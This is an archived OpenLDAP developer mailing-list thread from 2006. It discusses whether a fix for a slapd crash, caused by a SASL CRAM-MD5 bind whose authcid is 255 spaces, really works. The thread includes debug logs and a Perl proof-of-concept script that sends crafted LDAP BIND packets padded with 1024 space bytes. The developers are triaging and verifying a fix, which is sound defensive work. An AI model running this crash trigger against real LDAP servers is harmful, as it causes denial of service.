At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>Spoke too soon.
>You code appears to be sending the same requests as
>Nessus, at least as described here:
> http://www.nessus.org/plugins/index.php?view=vi
ewsrc&id=23625
>
>Suspect a mismatch between what you and Brian are
>testing...
Howard, is the normalized authcDN in your testing correct?
>Kurt
>
>At 07:30 PM 11/27/2006, Kurt OpenLDAP.org wrote:
>> From the provided log, looks like it's a
SASL/CRAM-MD5
>>authentication with lots of spaces in the authcid.
>>
>>Logs:
>>>>>> dnPrettyNormal: <>
>>><<< dnPrettyNormal: <>, <>
>>>do_sasl_bind: dn () mech CRAM-MD5
>>
>>empty bind DN
>>
>>>==> sasl_bind: dn=""
mech=<continuing> datalen=1024
>>>SASL Canonicalize [conn=21]:
>>>authcid="
>>>"
>>
>>authcid of spaces.
>>
>>>slap_sasl_getdn: conn 21
>>>id=
>>>[len=255]
>>
>>255 spaces.
>>
>>>=> ldap_dn2bv(16)
>>><=
>>>ldap_dn2bv(uid=20
>>>20,cn=CRAM-MD5,cn=auth)=0
>>>slap_sasl_getdn: u:id converted to
>>>uid=20
>>>20,cn=CRAM-MD5,cn=auth
>>
>>OKAY.
>>
>>>>>> dnNormalize:
>>><uid=20
>>>20,cn=CRAM-MD5,cn=auth>
>>>=>
>>>ldap_bv2dn(uid=20
>>>20,cn=CRAM-MD5,cn=auth,0)
>>><=
>>>ldap_bv2dn(uid=20
>>>20,cn=CRAM-MD5,cn=auth)=0
>>>=> ldap_dn2bv(272)
>>><= ldap_dn2bv(uid=20,cn=cram-md5,cn=auth)=0
>>
>>BAD! We lost 254 spaces (last of which was
escaped).
>>
>>><<< dnNormalize:
<uid=20,cn=cram-md5,cn=auth>
>>>==>slap_sasl2dn: converting SASL name
uid=20,cn=cram-md5,cn=auth to a DN
>>>slap_authz_regexp: converting SASL name
uid=20,cn=cram-md5,cn=auth
>>><==slap_sasl2dn: Converted SASL name to
<nothing>
>>>SASL Canonicalize [conn=21]:
slapAuthcDN="uid=20,cn=cram-md5,cn=auth"
>>>
>>
>>At 07:13 PM 11/27/2006, hycsymas.com wrote:
>>>bthomasgoogle.com wrote:
>>>> ------=_Part_8120_20176863.1164676496288
>>>> Content-Type: text/plain;
charset=ISO-8859-1; format=flowed
>>>> Content-Transfer-Encoding: 7bit
>>>> Content-Disposition: inline
>>>>
>>>> Hello,
>>>>
>>>> It would appear from my testing that this
bug is not fixed. I have compiled
>>>> and installed 2.3.30 and verified that my
version of getdn.c (1.124.2.5) has
>>>> the fixes that were introduced in 1.134.
However, a nessus scan that
>>>> attempts to exploit this bug still succeeds
in crashing slapd, with debug
>>>> output attached below (I've snipped the
actual data passsed in, suffice to
>>>> say it's 255 0x20's).
>>>>
>>>> I'm happy to provide any other information
as needed. I've taken a look at
>>>> the diffs but haven't been able to find
what the problem is.
>>>
>>>This is the perl script I used to verify the bug
here. slapd works fine
>>>for me with this. If you can tell us how to
reproduce the crash, we can
>>>investigate further.
>>>
>>>use IO::Socket;
>>>
>>> my $host = "localhost";
>>> my $port = 9011;
>>>
>>> my $sock = IO::Socket::INET->new(
>>> Proto =>
"tcp",
>>> PeerAddr => $host,
>>> PeerPort => $port, )
>>> or die "Error
creating socket";
>>>
>>> print "Sending LDAP BIND
request...n";
>>>
>>> my
>>>$s="x30x17x02x02x04xe7x60x11x02x0
1x03x04x00xa3x0ax04";
>>> $s .=
"x08x43x52x41x4dx2dx4dx44x35";
>>> print $sock $s;
>>>
>>> my $buf = '
';
>>> read( $sock, $buf, 24 );
>>>
>>> $s =
>>>"x30x82x04x1fx02x02x04xe6x60x82x
04x17x02x01x03x04";
>>> $s .=
>>>"x00xa3x82x04x0ex04x08x43x52x41x
4dx2dx4dx44x35x04";
>>> $s .= "x82x04x00";
>>> $s .= "x20" x 1024;
>>>
>>> print "Sending second LDAP BIND
request...n";
>>>
>>> print $sock $s;
>>> close $sock;
>>>
>>> print "Donen";
>>>
>>>--
>>> -- Howard Chu
>>> Chief Architect, Symas Corp. http://www.symas.com
>>> Director, Highland Sun http://highlandsun.com/hyc
>>> OpenLDAP Core Team http://www.openldap.
org/project/
|